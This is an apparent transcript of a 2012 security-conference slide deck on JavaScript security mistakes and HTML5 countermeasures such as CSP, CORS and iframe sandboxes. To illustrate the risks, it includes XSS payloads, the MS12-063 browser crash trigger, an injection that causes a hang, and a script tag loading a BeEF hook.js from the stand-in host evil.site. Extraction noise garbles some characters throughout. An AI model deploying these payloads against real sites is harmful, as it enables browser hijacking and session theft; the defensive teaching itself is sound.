Top Banner
QUALYS SECURITY CONFERENCE 2012 LAS VEGAS MUNICH LONDON PARIS OCT 2526 NOV 06 NOV 08 NOV 13 Mi#ga#ng JavaScript Mistakes Using HTML5 Mike Shema Qualys, Inc. Aria Resort & Casino, Las Vegas, October 25 th 1
43

01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Feb 14, 2020

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Q U A L Y S S E C U R I T Y C O N F E R E N C E 2 0 1 2LAS  VEGAS                                                                    MUNICH                                                                      LONDON                                                                      PARIS

                                                                                               OCT  25-­‐26                                                                                                        NOV  06                                                                                                            NOV  08                                                                                                      NOV  13

Mi#ga#ng  JavaScript  Mistakes  Using  HTML5

Mike  ShemaQualys,  Inc.

Aria  Resort  &  Casino,  Las  Vegas,  October  25th

1

Page 2: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

JavaScript,  JScript,  ECMAScript,  *.exe

• Cross-­‐plaMorm,  vendor-­‐neutral  liability

• Easy  to  use,  easier  to  misuse

• Challenging  to  maintain

• Achieving  peace  of  mind  from  piece  of  code

2

Page 3: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Q U A L Y S S E C U R I T Y C O N F E R E N C E 2 0 1 2LAS  VEGAS                                                                    MUNICH                                                                      LONDON                                                                      PARIS

                                                                                               OCT  25-­‐26                                                                                                        NOV  06                                                                                                            NOV  08                                                                                                      NOV  13

try { security() } catch(err) { }

3

Page 4: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

let me = count(ways);

jsfunfuzz -- “It has found about 280 bugs in Firefox's JavaScript engine... About two dozen were memory safety bugs that we believe were likely to be exploitable to run arbitrary code.”

http://www.squarefree.com/2007/08/02/introducing-jsfunfuzz/

4

Page 5: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

{ var Pwn2Own = $money; }

5

Page 6: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Event-­‐Driven,  Non-­‐Blocking  Vulns<script>var arrr = new Array();arrr[0] = window.document.createElement("img");arrr[0]["src"] = "L";</script><iframe src="child.html">

<head><script>functionfuncB() { document.execCommand("selectAll"); };functionfuncA() { document.write("L"); parent.arrr[0].src="YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";}</script></head><body onload='funcB();' onselect='funcA()'><div contenteditable='true'>a</div>

MS12-063

6

Page 7: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

For#fying  the  User  Agent

• Execu#on

• Auto-­‐updates

• Download  tainGng

• Process  separaGon

• Sandboxed  plugins

• Experience

• Link  reputaGon

• Phishing  warnings

• SSL/TLS  indicators

• XSS  auditors

7

Page 8: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Q U A L Y S S E C U R I T Y C O N F E R E N C E 2 0 1 2LAS  VEGAS                                                                    MUNICH                                                                      LONDON                                                                      PARIS

                                                                                               OCT  25-­‐26                                                                                                        NOV  06                                                                                                            NOV  08                                                                                                      NOV  13

Design  PaUerns  &       Dangerous  Territory

8

Page 9: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

HTML  Injec#on  (XSS)

• The  20+  year-­‐old  vuln  that  refuses  to  die.

• But  JavaScript  makes  the  situa#on  beUer!

• No,  JavaScript  makes  the  situa#on  worse!

• HTML5  to  the  rescue!(?)

9

Page 10: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Stop  Building  HTML  on  the  Server

• "String concatenation " + "is an " + $insecure " + "design pattern."

• SQL  injecGon

• Command  injecGon

• ...  injecGon

• JSON  messages  for  a  dynamic  DOM

• DOM  node  inserGon/modificaGon  isn’t  necessarily  safer.

• .textContent  vs.  .innerHTML

10

Page 11: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Careful  Building  HTML  in  the  Browser

• The  URL  is  evil.

• hZp://web.site/safe.page#<script>alert(9)</script>

• JavaScript  func#ons  are  unsafe  

• document.write(),  eval()

11

Page 12: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

AUack  of  the  Invisible  Fragment

<script type="text/javascript">$(document).ready(function() { var x = (window.location.hash.match(/^#([^\/].+)$/)||[])[1]; var w = $('a[name="' + x + '"], [id="' + x + '"]');});</script>

hZp://web.site/dynamic#<img/src=""onerror=alert(9)>

12

Page 13: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Serialize  vs.  Sani#ze                    [  hZp://bit.ly/amazonxss  ]

{...,"totalResults":4, "results":[[...],[...],[33,"Page 16","... t require spaces to delimit their attributes. <img/src=\".\"alt=\"\"onerror=\"alert('<b>zombie</b>')\"/> JavaScript doesnt have to rely on quotes to establish strings, nor do ...",...]]}

…>Page 16</span> ... t require spaces to delimit their attributes. <img src="." alt="" onerror="alert('&lt;b&gt;zombie&lt;/b&gt;')"> JavaScript doesn't have to…

13

Page 14: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

NoSQL/Comand  Injec#on,  Parsing

• Using  JavaScript  to  create  queries,  filters,  etc.

• String  concatenaGon  &  JSON  injecGon

• Server-­‐side  JavaScript  requires  server-­‐side  security  principles.

http://web.site/calendar?year=1984’;while(1);var%20foo=‘bar

var data1 = '\ufffd1\ufffda';var data2 = '\ufffd-1\ufffdhello';var data3 = '\ufffd1<script>alert(9)</script>\ufffda';var data4 = '\ufffd-27<script>alert(9)</script>\ufffda';var data5 = '\ufffd-25\ufffda<script>alert(9)</script>';

14

Page 15: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Understanding  the  Language

• Same  Origin  Policy

• Data  access

• Context

• Percent  encoding,  HTML  enGGes,  aZributes,  values

• Scope  pollu#on  with  misplaced  var  or  shadow  variables

typeof(null) == "object";typeof(undefined) == "undefined"null == undefined;null === undefined; // no!

15

Page 16: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Scope  of  Explora#on<head> <script> var x = 1; (function(){ var x = 2; }); var y = 1; function scopeBar() { doSomething(x); } function scopeBaz() { var x = 0; doSomething(x); } </script></head><body> <script> var z = 3 function scopeFoo() { doSomething(y); } var x = 4; scopeBar(); </script></body>

16

Page 17: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Scope  &  Precedence

<html><head><script> BeefJS = {};</script></head><body>......[ hook.js ]......</body></html>

<html><body>...[ hook.js ]......<script> beef.execute = function(fn){ alert(n); }</script></body></html>

var BeefJS = { ... };window.beef = BeefJS;

17

Page 18: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

JavaScript  Everywhere

<head><script> BeefJS = { commands: new Array(), execute: function() {}, regCmp: function() {}, version: "<script>alert(9)</script>" };</script></head>...

18

Page 19: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

HUpOnly?

<head> <script> document.cookie = "BEEFHOOK="; </script></head>...

19

Page 20: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Prototype  Chains<script>WebSocket.prototype._s = WebSocket.prototype.send;WebSocket.prototype.send = function(data) {// data = "."; console.log("\u2192 " + data); this._s(data); this.addEventListener('message', function(msg) { console.log("\u2190 " + msg.data); }, false); this.send = function(data) { this._s(data); console.log("\u2192 " + data); };}</script>

20

Page 21: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

data = ".";

[22:49:57][*] BeEF server started (press control+c to stop) /opt/local/lib/ruby1.9/gems/1.9.1/gems/json-1.7.5/lib/json/common.rb:155:in `initialize': A JSON text must at least contain two octets! (JSON::ParserError)

21

Page 22: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Q U A L Y S S E C U R I T Y C O N F E R E N C E 2 0 1 2LAS  VEGAS                                                                    MUNICH                                                                      LONDON                                                                      PARIS

                                                                                               OCT  25-­‐26                                                                                                        NOV  06                                                                                                            NOV  08                                                                                                      NOV  13

JavaScript  Libraries

22

Page 23: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

JavaScript  Libraries

• Should  be...

• More  opGmal

• More  universal

• Shid  security  burden  to  patch  management

• Clear  APIs

• Auto  versioning

• Hosted  on  CDNs

• Oden  are...

• More  disparate

• Highly  variant  in  quality

• StylisGcally  different

• Have  to...

• Play  nice  with  others  (variable  scope,  prototype  chains)

• Balance  performance  with  style

23

Page 24: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Developing  With  JavaScript

• Challenges  of  an  interpreted  language

• Simple  language,  complex  behaviors

• hZp://jslint.com

• hZp://www.quirksmode.org

• hZp://webreflecGon.blogspot.com

• Browser  tools  improving,  but  imperfect.

• hZp://bit.ly/QJ4g0C

AngularBatman JSClosureCoffeeScriptDojoEmber JSExt JSFacebook ConnectjQueryjsmdKnockoutMidori JSModernizrMooToolsMooTools MoreObjectiveJPrototypePusherQooxdooRaphaelRicoSammyScriptaculousSocket.ioSpineSpryTypeKittwttrUnderscore JSUIZEYUIYAHOO

24

Page 25: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

There’s  a  Dark  Side  to  Everything

• Poisoning

• Cache,  CDN

• IntermediaGon,  HTTP  &  public  Wi-­‐Fi

• Func#ons  for  HTML  injec#on  payloads

• More  bad  news  for  blacklisGng

• Server-­‐side  JavaScript

• ReimplemenGng  HTTP  servers  with  reimplemented  bugs

• Fingerprint,  DoS,  directory  traversal

25

Page 26: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

JavaScript  Crypto

• Stanford  JS  Crypto  Library  [  hZp://crypto.stanford.edu/sjcl/  ]

• CryptoCat  [  hZps://crypto.cat  ]

• Shiqed  from  .js  to  browser  plugin

• Use  TLS  for  channel  security

• BeZer  yet,  use  HSTS  and  DNSSEC.

• There  is  no  trusted  execu#on  environment

• ...in  the  current  prototype-­‐style  language

• ...in  an  HTTP  connecGon  that  can  be  intercepted

• ...in  a  site  with  an  HTML  injecGon  vuln

26

Page 27: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Q U A L Y S S E C U R I T Y C O N F E R E N C E 2 0 1 2LAS  VEGAS                                                                    MUNICH                                                                      LONDON                                                                      PARIS

                                                                                               OCT  25-­‐26                                                                                                        NOV  06                                                                                                            NOV  08                                                                                                      NOV  13

HTML5  &             Countermeasures

27

Page 28: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Programming

• Abstrac#ng  development  to  another  language

• Closure

• Emscripten,  compile  C  &  C++  to  JavaScript

• TypeScript

• Sta#c  code  analysis

• New  specs

28

Page 29: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Cross  Origin  Resource  Sharing

• Defines  read-­‐access  trust  of  another  Origin

• Expresses  trust,  not  security

• But  sGll  contributes  to  secure  design

• Principle  of  Least  Privilege

• Beware  of  Access-­‐Control-­‐Allow-­‐Origin:  *

• Short  Access-­‐Control-­‐Max-­‐Age

• Minimal  Access-­‐Control-­‐Allow-­‐{Methods  |  Headers}

• Check  the  Origin

• Prevent  CSRF  from  this  browser

29

Page 30: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Domain-­‐Based  Separa#on  of  Trust

• Leverage  the  Same  Origin  Policy

• Use  one  domain  for  trusted  content

• Use  another  domain  for  user  content

• Another  for  ads

• etc.

30

Page 31: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

HTML5  Sandboxes

<iframe * src="infected.html"><iframe * src="infected.html">

* (empty)

sandbox JavaScript not executed

sandbox="allow-scripts"JavaScript executeddocument.cookieSet-Cookie header

text/html-sandboxed Waiting for browser support

31

Page 32: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Content-­‐Security-­‐Policy

• Provide  granular  access  control  to  SOP

• Choose  monitor  or  enforce

• Header  only

• Probably  few  code  changes  required,  or  unsafe-­‐eval

• (hZp-­‐equiv  has  lower  precedence)

• Wai#ng  for  universal  implementa#on

• X-­‐Content-­‐Security-­‐Policy

• X-­‐WebKit-­‐CSP

• hUp://www.w3.org/TR/CSP/

32

Page 33: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Content-­‐Security-­‐Policy

X-CSP: default-src 'self'; frame-src 'none'

<!doctype html><html> <body> <iframe src="./infected.html"></iframe></body></html>

33

Page 34: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Content-­‐Security-­‐Policy  vs.  XSS

X-CSP: default-src 'self'

<input type="text" name="q" value="foo" autofocus onfocus=alert(9)//"">

X-CSP: default-src 'self' 'unsafe-inline'

<input type="text" name="q" value="foo" autofocus onfocus=alert(9)//"">

34

Page 35: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Content-­‐Security-­‐Policy  vs.  XSSX-CSP: default-src 'self'

<!doctype html><html><body> <iframe src="./infected.html"></iframe></body></html>

X-CSP: script-src evil.site

<!doctype html><html><head> <script src="http://evil.site:3000/hook.js"></script></head></html>

35

Page 36: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Content-­‐Security-­‐Policy  vs.  DOM  XSS

$(document).ready(function() { var x = (window.location.hash.match(/^#([^\/].+)$/)||[])[1]; var w = $('a[name="' + x + '"], [id="' + x + '"]');});

// This is an unsafe inline event handlervar click = $('#main').attr('onclick', 'alert(9)'); // doesn't trigger unsafe-inlinevar click = $('#main').click(function(e) { alert(9) }); // doesn't trigger unsafe-inline]var click = $('#main').bind("click", function(e) { alert(9) });

36

Page 37: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

On  the  Other  Hand...

• Awesome  DoS  if  CSP  headers  are  absent  and  XSS  vuln  is  present:

<meta http-equiv="X-WebKit-CSP" content="default-src 'none'">

37

Page 38: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Careful  with  those  Improvements

• Some  trade-­‐offs  between  more  objects,  more  APIs,  and  less  privacy

• WebGL,  baZery  status

• Browser  fingerprin#ng

• AppCache

• Web  Storage

38

Page 39: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

String  Concatena#on  Checklist

• Normalize  the  data

• Character  set  conversions  (e.g.  ⇄  UTF-­‐8,  reject  or  replace  bad  

sequences)

• Character  encoding  conversion  (e.g.  %xx)

• Iden#fy  the  output  context

• DOM  node,  aZribute  name,  aZribute  value,  script,  etc.

• Apply  controls  at  security  boundaries

• Time  of  Check,  Time  of  Use  -­‐-­‐  IdenGfy  where  data  will  be  modified,  stored,  or  rendered

• Strip  characters  (carefully!  prefer  inclusion  list  to  exclusion  list)

• Replace  characters  appropriate  for  context

39

Page 40: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Some  Web  Security  Principles

• Always  be  suspicious  of  string  concatena#on

• Abstract  development  to  a  more  strongly-­‐typed  language,  compile  to  JavaScript

• Protect  Web  Storage  data

• Don’t  use  it  for  security-­‐sensiGve  data,  

• Pay  aUen#on  to  DOM  context

• HTML  enGty,  percent  encoding,  String  object,  text  node

• Apply  CORS  and  CSP  headers  to  protect  browsers  from  applica#on  mistakes

• And  X-­‐Frame-­‐OpGons

40

Page 41: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

JavaScript

• Audit  string  concatena#on

• Avoid  inline  event  handlers

• $(#id).bind(...)

• $(#id).click(...)

• $(#id).on(...)

• Embrace  "use strict";• Encounter  errors  more  quickly,  more  loudly

• Avoid  implicit  global  scope  problems

• Remember  to  apply  to  each  “code  unit”

41

Page 42: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Security  Loop

• Encourage  users  to  update  browsers

• SupporGng  old  browsers  is  a  pain  anyway

• Adopt  established  JavaScript  libraries  rather  than  custom  implementa#ons

• Shiq  from  pure  development  to  patch  management

• Adopt  HTML5  security  features

• ...to  protect  users  with  HTML5-­‐enabled  browsers

42

Page 43: 01/' 2/&$'34!56 - WordPress.com · 2012-10-31 · QUALYS SECURITY CONFERENCE 2012 LAS$VEGAS$$$$$MUNICH$$$$$LONDON$$$$$PARIS OCT2526NOV06NOV08NOV13 try { security() …

Q U A L Y S S E C U R I T Y C O N F E R E N C E 2 0 1 2LAS  VEGAS                                                                    MUNICH                                                                      LONDON                                                                      PARIS

                                                                                               OCT  25-­‐26                                                                                                        NOV  06                                                                                                            NOV  08                                                                                                      NOV  13

Thank  You!

43